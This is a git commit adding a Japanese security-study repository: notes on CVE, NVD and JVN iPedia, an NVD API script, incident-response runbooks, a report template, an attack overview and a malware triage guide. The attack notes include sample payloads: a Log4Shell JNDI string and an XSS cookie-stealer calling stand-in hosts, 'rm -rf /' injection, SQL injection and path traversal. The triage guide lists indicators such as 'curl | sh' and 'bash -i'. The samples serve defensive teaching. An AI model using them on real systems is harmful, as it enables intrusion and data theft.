情報をまとめる

This commit is contained in:
ry.yamafuji 2025-12-13 04:10:43 +09:00
parent 833fbf3a1d
commit 9583df0324
7 changed files with 808 additions and 1 deletions

119
README.md
View File

@ -1,3 +1,122 @@
# cve-research
CVE,NVD,JVN iPediaの活用方法および脆弱性について
製品名や日本語で検索が可能です
## 基本知識
### CVE (Common Vulnerabilities and Exposures)
世界共通の脆弱性識別子
「この脆弱性は何か」を一意に特定するID
公式サイト: https://cve.mitre.org
特徴:
* CVE ID の存在確認が主目的
* 技術詳細はやや少なめ
形式:
```
CVE-2024-12345
```
* **CVSS** (Common Vulnerability Scoring System)
* 脆弱性そのものではなく「深刻度の評価指標」
* `CVSS v3.1 Base Score: 9.8 (Critical)`
* 攻撃のしやすさ
* 影響範囲
* 機密性・完全性・可用性
* 7.0以上: 要対応-9.0以上: 緊急
* CWE (Common Weakness Enumeration)
* 脆弱性の種類・設計ミスの分類
* `CWE-798: Use of Hard-coded Credentials`
その他見るポイントについて
* Attack Vector
* NETWORK → 特に危険
* Authentication
* None = 未認証で攻撃可能
* Affected Versions
* 自分の使っているバージョンが含まれるか
### NVD (National Vulnerability Database)
一番よく使われるCVEのデータベース
実務ではほぼここを見る。OSSの脆弱性調査もここが定番です。
* 運営: NIST米国
* URL: https://nvd.nist.gov
* 特徴:
* CVE + CVSS + CWE を網羅
* 機械可読JSON API
* NVDはAPIを提供しています。
* 少量利用 → APIキー不要
* 多量アクセス → 無料APIキー取得可
```
https://services.nvd.nist.gov/rest/json/cves/2.0
```
### JVN iPedia日本語
日本語で確認したい場合のデータベース
* 公式サイト: https://jvndb.jvn.jp
+ **特徴**
* 日本語解説あり
* 国内ベンダー・OSS対応
* CVEと完全対応
---
## その他セキュリティで有名なAPIやツール
* **cve.circl.lu**
* 「CVE情報を取得するための軽量な公開API / DB」
* 運営: CIRCL(ルクセンブルクのCERT)
* 無料・登録不要
* REST API で直接叩ける
* OSS / 学習 / 個人ツール向け
* API例: `https://cve.circl.lu/api/cve/CVE-2023-27524`
* **Trivy**
* 「実際の環境をスキャンする脆弱性スキャナ」
* 開発: Aqua Security
* OSS無料
* 超定番
* ローカル / CI / Docker / Kubernetes対応
* **スキャンできるもの**
* Dockerイメージ、ファイルシステム、OSパッケージ、言語依存関係(pip / npm / etc0)
* IaC(Terraform など)
* 実行コマンド例: `trivy image apache/superset:latest`
* 実行内容
* NVD / OSV などのDBを取得
* 依存関係と照合
* CVSSスコア付きで結果表示
* **Dependabot**
* 提供: GitHub
* GitHub上なら無料
* リポジトリ単位で有効化
* 機能の内容
* requirements.txt / package.json などを監視
* 脆弱なライブラリを検知
* 修正版へのPRを自動作成
* 例:
```
requests 2.28.0 に CVE-XXXX があるので
2.31.0 へ更新するPRを作りました
```
* 確認内容
* GitHub Advisory DB
* NVD / OSV
* CVEを意識しなくても勝手に対処が進む
* 使いどころ
* GitHub運用
* OSS / SaaS
* ライブラリ中心のアプリ

14
examples/nvd_request.py Normal file
View File

@ -0,0 +1,14 @@
import requests
url = "https://services.nvd.nist.gov/rest/json/cves/2.0"
params = {
"keywordSearch": "Apache Superset",
"resultsPerPage": 5
}
res = requests.get(url, params=params)
data = res.json()
for item in data["vulnerabilities"]:
cve = item["cve"]["id"]
print(cve)

100
readme/action.md Normal file
View File

@ -0,0 +1,100 @@
# インシデントについて
外部または内部の悪意ある行為が関与する可能性がある事象
* 不正ログイン
* 管理者権限の不審な使用
* デフォルトパスワード悪用
* マルウェア感染
* 情報漏えいの疑い
* WAF / IDS アラートなど
## 事故とインシデントの違い
事故は想定内のトラブルでミスや善意が前提です。復旧優先です
インシデントは攻撃・侵害の可能性があり、悪意・敵対者がいることが前提です
証拠保全・封じ込め優先で組織判断(CSIRT)となります
## 初動について
切らずにIP制限が理想。
でも「確実に守れる状態を作る」ために切る判断は間違いではない。
* インシデント宣言を行う
* [ ] インシデント扱い宣言
* [ ] 再起動・再デプロイ禁止
* 再起動や停止を禁止する(隔離を優先してください)
* 「証拠破壊+攻撃状況のリセット」になる
* 隔離が難しい場合の対応
* システム全体は止めないでアプリを遮断など
* チェック項目
* [ ] パスワード / APIキー / SECRET_KEY を変えた
* [ ] 電源を切る前にスナップショットを保存したのか
* [ ] 管理画面を閉じた
* [ ] 外向き通信を少しでも制限した
* 外との通信を遮断(隔離)
* 通信・認証・権限を止めて“動かしたまま隔離”がベストです
* 侵入されたユーザーを無効化する
* APIキー / トークン / SECRET_KEY 無効化 or ローテーション
* 管理画面をIP制限 or 非公開
* 攻撃元IPをFW/WAFで遮断
## Actions
### 【Phase 0】宣言30秒
* [ ] インシデント扱い宣言
* [ ] 再起動・再デプロイ禁止
### 【Phase 1】安全確保5分
* [ ] 管理画面を非公開
* [ ] 該当エンドポイント停止
* [ ] IP制限を有効化
* [ ] SECRET_KEY / APIキー ローテ
### 【Phase 2】状況別判断
**Q1OSレベル侵入の兆候はある**
* Yes → Phase 3A
* No → Phase 3B
### 【Phase 3A】OS侵入 / マルウェア疑い
* [ ] 通信遮断
* [ ] ログ保存
* [ ] スナップショット
* [ ] インスタンス停止
### 【Phase 3B】Web侵入のみ
* [ ] サービス継続
* [ ] 更新系API停止
* [ ] 監視強化
### 【Phase 4】復旧
* [ ] 侵入口の恒久修正
* [ ] 認証情報全再発行
* [ ] 再発防止策適用
## ケースについて
```
侵入の疑い
誰でもアクセス可能?
↓ Yes
入口を閉じるIP/認証)
OS侵入の兆候あり
↓ Yes ──→ 通信遮断 → スナップショット → 停止
↓ No
インスタンスは落とさず運用継続
```

223
readme/attack.md Normal file
View File

@ -0,0 +1,223 @@
# 攻撃について
- [攻撃について](#攻撃について)
- [OSコマンド系 RCERemote Code Execution](#osコマンド系-rceremote-code-execution)
- [OSコマンドインジェクション](#osコマンドインジェクション)
- [WEBアプリ系](#webアプリ系)
- [SQLインジェクションSQLi](#sqlインジェクションsqli)
- [XSSCross-Site Scripting](#xsscross-site-scripting)
- [CSRF](#csrf)
- [認証・セッション系](#認証セッション系)
- [認証回避](#認証回避)
- [権限昇格](#権限昇格)
- [セッションハイジャック](#セッションハイジャック)
- [ファイル関係](#ファイル関係)
- [ファイルアップロードの悪用](#ファイルアップロードの悪用)
- [パストラバーサル](#パストラバーサル)
- [マルウェア](#マルウェア)
- [ランサムウェア](#ランサムウェア)
- [クリプトマイナー](#クリプトマイナー)
- [トロイの木馬](#トロイの木馬)
- [スパイウェア](#スパイウェア)
| 攻撃カテゴリ | 攻撃名 | 概要 | 代表CWE | 代表例 |
| ---------------- | ------------------------- | -------------------- | ------------ | ------------------ |
| **RCE / 実行系** | Remote Code Execution | 遠隔で任意コード実行 | CWE-94 / 502 | Log4Shell |
| | OS Command Injection | OSコマンドを注入 | CWE-78 | `; rm -rf /` |
| | Deserialization | 復元時にコード実行 | CWE-502 | Java deserialize |
| **Injection系** | SQL Injection | SQL文改ざん | CWE-89 | ログイン回避 |
| | Command Injection | コマンド文字列注入 | CWE-77 | shell_exec |
| | Template Injection | テンプレRCE | CWE-1336 | SSTI |
| | XPath Injection | XML検索改ざん | CWE-643 | XML API |
| **Web系** | XSS | JS注入 | CWE-79 | Cookie窃取 |
| | CSRF | 権限の悪用 | CWE-352 | 管理操作 |
| | Open Redirect | 任意URL遷移 | CWE-601 | フィッシング |
| **認証・認可** | Auth Bypass | 認証回避 | CWE-287 | ロジック不備 |
| | Privilege Escalation | 権限昇格 | CWE-269 | 管理者化 |
| | Session Fixation | セッション固定 | CWE-384 | 乗っ取り |
| **ファイル系** | Path Traversal | 任意ファイル参照 | CWE-22 | `../../etc/passwd` |
| | File Upload Abuse | WebShell設置 | CWE-434 | `.php` upload |
| | Arbitrary File Write | 任意書込 | CWE-73 | 設定改ざん |
| **設定ミス** | Security Misconfiguration | 設定不備 | CWE-16 | DEBUG=true |
| | Default Credentials | 初期PW | CWE-798 | admin/admin |
| | Exposed Secret | 鍵流出 | CWE-522 | SECRET_KEY |
| **情報漏洩** | Info Disclosure | 情報漏洩 | CWE-200 | stack trace |
| | Sensitive Data Exposure | 機密漏洩 | CWE-359 | PII漏洩 |
| **DoS系** | Denial of Service | サービス停止 | CWE-400 | 無限ループ |
| | ReDoS | 正規表現DoS | CWE-1333 | catastrophic regex |
| **Supply Chain** | Dependency Confusion | 依存関係偽装 | CWE-829 | npm事件 |
| | Malicious Package | 悪意あるlib | CWE-1357 | PyPI malware |
| **マルウェア** | Ransomware | 暗号化恐喝 | ATT&CK T1486 | LockBit |
| | Cryptominer | 不正マイニング | ATT&CK T1496 | xmrig |
| **横展開** | Lateral Movement | 内部拡散 | ATT&CK T1021 | 内部侵入 |
| | Container Escape | コンテナ脱出 | CWE-250 | runc |
## 設定ミスによるセキュリティリスク
セキュリティで実際に多いのは、設定ミスによるものが多いです
* 公開S3/GCSなどのストレージ
* .envの流出
* 管理画面の公開
* 本番前のDEBUG=true
## OSコマンド系 RCERemote Code Execution
* OSコマンド実行も含む上位概念
* ライブラリ脆弱性で多発
(例)
**deserialization:**
悪意あるオブジェクト構造を作りdeserializationさせることで
内部でコードが実行される可能性がある
```java
ObjectInputStream in = new ObjectInputStream(input);
Object obj = in.readObject(); // ← ここが危険
```
**Log4Shell:**
* CVE-2021-44228
* Javaのログライブラリ: Log4j 2
以下のコードでは攻撃者が用意したJavaクラスのコードが、
あなたのサーバー上で実行されます
```java
userInput = ${jndi:ldap://attacker.com/a}
log.info("User: {}", userInput);
```
### OSコマンドインジェクション
外部入力からshell実行ができる
```
ping ${user_input}
```
に対して`; rm -rf /`を実行する
* 影響: サーバ完全制御
* CVSS: 9〜10
* 関連CWE: CWE-78
## WEBアプリ系
### SQLインジェクションSQLi
* DBの中身丸見えになる
* 認証回避
* データ破壊
* CWE-89
```sql
SELECT * FROM users WHERE id = '1' OR '1'='1';
```
### XSSCross-Site Scripting
* Cookie盗難
* セッション乗っ取り
JavaScript注入
```html
<script>fetch("evil.com?cookie="+document.cookie)</script>
```
**種類**:
* Stored
* Reflected
* DOM-based
### CSRF
* ユーザーの権限を勝手に使う
* ログイン中に踏ませる
* 管理操作が実行される
## 認証・セッション系
### 認証回避
* default password
* SECRET_KEY漏洩
* JWT署名鍵漏れ
### 権限昇格
* root取得
* container escape
### セッションハイジャック
* Cookie盗難
* セッションハイジャック
## ファイル関係
### ファイルアップロードの悪用
.php
.jsp
.py
→ WebShell設置
### パストラバーサル
```sh
../../etc/passwd
```
機密ファイル漏洩
---
## マルウェア
マルウェアとは、悪意のあるソフトウェアの総称
**主な感染路は**
* 電子メール: 添付ファイルを開いたり、本文中のURLをクリックしたりする。
+ Webサイト: 悪意のあるサイトを閲覧したり、偽のサイトからダウンロードしたりする。
+ ソフトウェア:信頼できないフリーソフトのインストール時など。
**技術的な対策**
* セキュリティソフト(ウイルス対策ソフト)の導入
* リアルタイムスキャン機能により、既知のマルウェアの侵入を検知・ブロック
* OSとソフトウェアの最新化
* OSやアプリケーションの脆弱性セキュリティ上の欠陥を狙って侵入することが多い
* 提供元からリリースされるセキュリティパッチを速やかに適用
* 自動更新を有効に設定することを強く推奨します。
* ファイアウォールの有効化
* 不正なネットワーク通信を遮断する
* 外部からの不正アクセスやマルウェアによる外部への情報送信を防ぎます。
### ランサムウェア
ファイルを暗号化して使えなくし、元に戻す代わりに金銭を要求する。
* 暗号化して身代金要求
* 侵入後に展開
* バックアップも破壊
* 有名なランサムウェア
* LockBit攻撃
* WannaCry攻撃
### クリプトマイナー
* CPU / GPUを勝手に使用
* Cloud Run / K8sで多発
### トロイの木馬
便利なソフトに見せかけて侵入し、
裏で情報を盗んだり不正な操作を行ったりする。
### スパイウェア
ユーザーに気づかれずに個人情報や閲覧履歴などを盗み出す。

View File

@ -0,0 +1,183 @@
# インシデント事後レポート(テンプレ)
## 1. 基本情報
**インシデントID**: INC-YYYYMMDD-XX
**発生日** : YYYY-MM-DD HH:MM
**検知日時** : YYYY-MM-DD HH:MM
**収束日時** : YYYY-MM-DD HH:MM
**影響時間** : 約 XX 時間
**報告作成日** : YYYY-MM-DD
**作成者** : 氏名 / チーム
---
## 2. 概要Executive Summary
### 何が起きたか(要約)
本インシデントは、公開されていた Web エンドポイントに対して
不正アクセスが行われた可能性が判明したものです。
### 現在の状態
```
当該インスタンスは安全化対応済みであり、
被害拡大の恐れはないと判断しています。
```
※ **技術詳細は書かず、経営・顧客が読める文章**
---
## 3. 検知の経緯
### 3.1 最初の検知内容
* 検知方法(ログ / アラート / 人的発見)
* 検知した事象(例:不審なアクセスログ)
### 3.2 異常と判断した理由
* 想定外の挙動
* 通常と異なる操作・アクセス
---
## 4. インシデントの内容
### 4.1 種別
* [ ] Web侵入
* [ ] 認証情報漏えい
* [ ] マルウェア感染
* [ ] 不正操作
* [ ] その他(     )
### 4.2 技術的概要(簡潔に)
```
認証を伴わないエンドポイントが公開状態となっており、
第三者によるアクセスが可能な状態でした。
```
---
## 5. 発生から対応までの時系列
| 時刻 | 内容 | 備考 |
| ----- | -------------------------- | ---- |
| HH:MM | 異常検知 | |
| HH:MM | インシデント扱いに切り替え | |
| HH:MM | 再起動・際デプロイ宣言 | |
| HH:MM | IP制限設定 | |
| HH:MM | インスタンス再開 | |
| HH:MM | 監視強化 | |
| HH:MM | 収束判断 | |
---
## 6. 影響範囲Impact Analysis
### 6.1 影響を受けたシステム
* システム名:
* 環境Prod / Stg / Dev
### 6.2 データへの影響
* [ ] 個人情報漏えい:なし / あり(調査中)
* [ ] 機密情報漏えい:なし / あり(調査中)
* [ ] データ改ざん:なし / あり(調査中)
### 6.3 利用者への影響
* サービス停止:あり / なし
* 性能劣化:あり / なし
---
## 7. 原因分析Root Cause
### 7.1 直接原因
```
IP制限・認証設定が不十分な状態で
管理系機能が公開されていました。
```
### 7.2 背景要因
* 設計上の想定不足
* レビュー不足
* 監視・検知ルール不足
---
## 8. 実施した対応
### 8.1 初動対応
* インスタンス停止
* IP制限設定
* アクセス経路遮断
### 8.2 恒久対応
* 認証必須化
* 管理画面非公開化
* 監視強化
---
## 9. 再発防止策
### 9.1 技術的対策
* WAF / IP制限の常設
* 認証設計の見直し
* Runbook整備
### 9.2 運用的対策
* 定期的な公開範囲レビュー
* インシデント訓練
* レビュー体制強化
---
## 10. 今回の判断に関する評価
```
侵入元IPが特定できない状況下であったため、
一旦インスタンスを停止し、
入口制御を確実に行った上で再開しました。
本判断は、被害拡大防止を優先した
合理的な現場判断であったと評価します。
```
👉 **ここがあると責任問題になりにくい**
---
## 11. 今後の課題
* 切らずに安全化できる構成の整備
* ログ可視性の改善
* 初動判断の迅速化
---
## 12. 結論(まとめ)
```
本インシデントは重大被害には至らず、
早期対応により収束しました。
再発防止策を実施し、
同様の事象が発生しないよう対応を継続します。
```

156
readme/malware.md Normal file
View File

@ -0,0 +1,156 @@
# マルウェアについて
## マルウェアDB
### VirusTotal
* 運営: Google
* ハッシュまたは(ファイル / URL)1つで 既知マルウェアか即判定
* 実務の判断スピードが段違い
**実務での使い方**
* 不審ファイル → hash → VT
* IP / Domain も確認可能
### MITRE ATT&CK
* マルウェアの「やってること」を共通言語で整理できる
* CVE / インシデント報告 / 製品アラートと直結
* 調査・報告・再発防止に必須
**実務での使い方**
* 「Command Execution」「Credential Dumping」
* 攻撃フェーズ整理
* 対策の抜け漏れ確認
調査より「整理と説明」に使います
### AlienVault OTX
* IP / Domain の 危険度即確認
* 「この通信先ヤバい?」を即判断
* APIで自動化可
外向き通信が怪しい場合
WAF / FW / Cloud Armor
(通信系の異常確認用)
---
## 実務でのアクション
1. 何かおかしい、から始まる
* よくあるトリガー:
* CPUが急に100%
* 外向き通信が増えた
* 見覚えのないプロセス
* ログに怪しい文字列
* `Trivy / Dependabot / Alert`
### パータン1 怪しいファイル発見時
```mermaid
graph TD
A[怪しいファイル発見] --> B[VirusTotalにhash投げる]
B --> C[マルウェア名 / 種類を確認]
C --> D[Hybrid Analysisで挙動確認]
D --> E[MITRE ATT&CKで行動分類]
```
### パータン2 コンテナ異常CPU100%
```mermaid
graph TD
A[コンテナ異常] --> B[プロセス確認 xmrigなど]
B --> C[VirusTotal で hash 照合]
C --> D[Hybrid Analysisで挙動確認]
D --> E[Cryptominerと判明]
```
### プロセスや挙動の確認
```sh
ps aux
top
```
* 見るポイント:
* `xmrig`
* `curl | sh`
* `wget http`
* `bash -i`
* 見覚えのないバイナリ
この時点で「マルウェアっぽいか」はほぼ判断できる
### ネットワーク確認
```sh
netstat -tunp
ss -tunp
```
* 不審な外部IP
* 定期通信C2っぽい
### ファイルの確認
```sh
ls /tmp
ls /var/tmp
```
* ランダム名
* 実行権限付きファイル
### ハッシュ確認
```sh
sha256sum suspicious_file
```
VirusTotal にハッシュを投げる
### 実務上での判断
| 状況 | 実務判断 |
| -------------- | ------------------- |
| マイナー | 即停止 → 再デプロイ |
| RAT / Backdoor | インスタンス破棄 |
| ランサム | 即隔離 |
| 原因不明 | 再作成 |
* 「調査より破棄」が普通です
* クラウドは作り直せる
* 解析は 時間がかかる
* 本番で解析は危険
* 責任範囲が広がる
Cloud Run / Docker / K8s では「再構築」が正解です
---
## マルウェア一覧表
| 分類 | マルウェア名 | 概要 | 主な目的 | 代表例 |
| -------------------- | -------------------- | -------------------------- | ---------- | ----------------- |
| **ランサムウェア** | Ransomware | データを暗号化し身代金要求 | 金銭 | WannaCry, LockBit |
| **トロイの木馬** | Trojan | 正規ソフト偽装 | 侵入 | Zeus |
| **ウイルス** | Virus | 自己複製・感染 | 破壊 | CIH |
| **ワーム** | Worm | ネットワーク自己拡散 | 拡散 | Conficker |
| **バックドア** | Backdoor | 不正アクセス口 | 永続化 | DoublePulsar |
| **スパイウェア** | Spyware | 情報窃取 | 監視 | Pegasus |
| **キーロガー** | Keylogger | キー入力記録 | 窃取 | AgentTesla |
| **ボット** | Bot | C2制御 | DDoS | Mirai |
| **ボットネット** | Botnet | 複数端末制御 | 大規模攻撃 | Mirai |
| **ルートキット** | Rootkit | 痕跡隠蔽 | 永続化 | ZeroAccess |
| **ダウンローダ** | Downloader | 他マルウェア取得 | 展開 | Emotet |
| **ドロッパー** | Dropper | 内部に格納して展開 | 配置 | TrickBot |
| **アドウェア** | Adware | 広告表示 | 収益 | Fireball |
| **クリプトマイナー** | Cryptominer | 仮想通貨採掘 | 金銭 | XMRig |
| **ワイパー** | Wiper | データ破壊 | 妨害 | NotPetya |
| **ローダー** | Loader | メモリ展開 | 回避 | Cobalt Strike |
| **RAT** | Remote Access Trojan | 遠隔操作 | 支配 | njRAT |
| **ファイルレス** | Fileless Malware | メモリ常駐 | 検知回避 | PowerShell系 |
| **ブートキット** | Bootkit | 起動領域感染 | 永続化 | Mebroot |
| **スケアウェア** | Scareware | 偽警告 | 詐欺 | FakeAV |

12
readme/run_book.md Normal file
View File

@ -0,0 +1,12 @@
# Runbook
**インシデント発生時に、人が迷わず実行するための手順書**
* 判断を減らす(考えなくていい)
* 順番が決まっている
* 夜中・1人・非専門家でも動ける
* チェックリスト形式が多い
---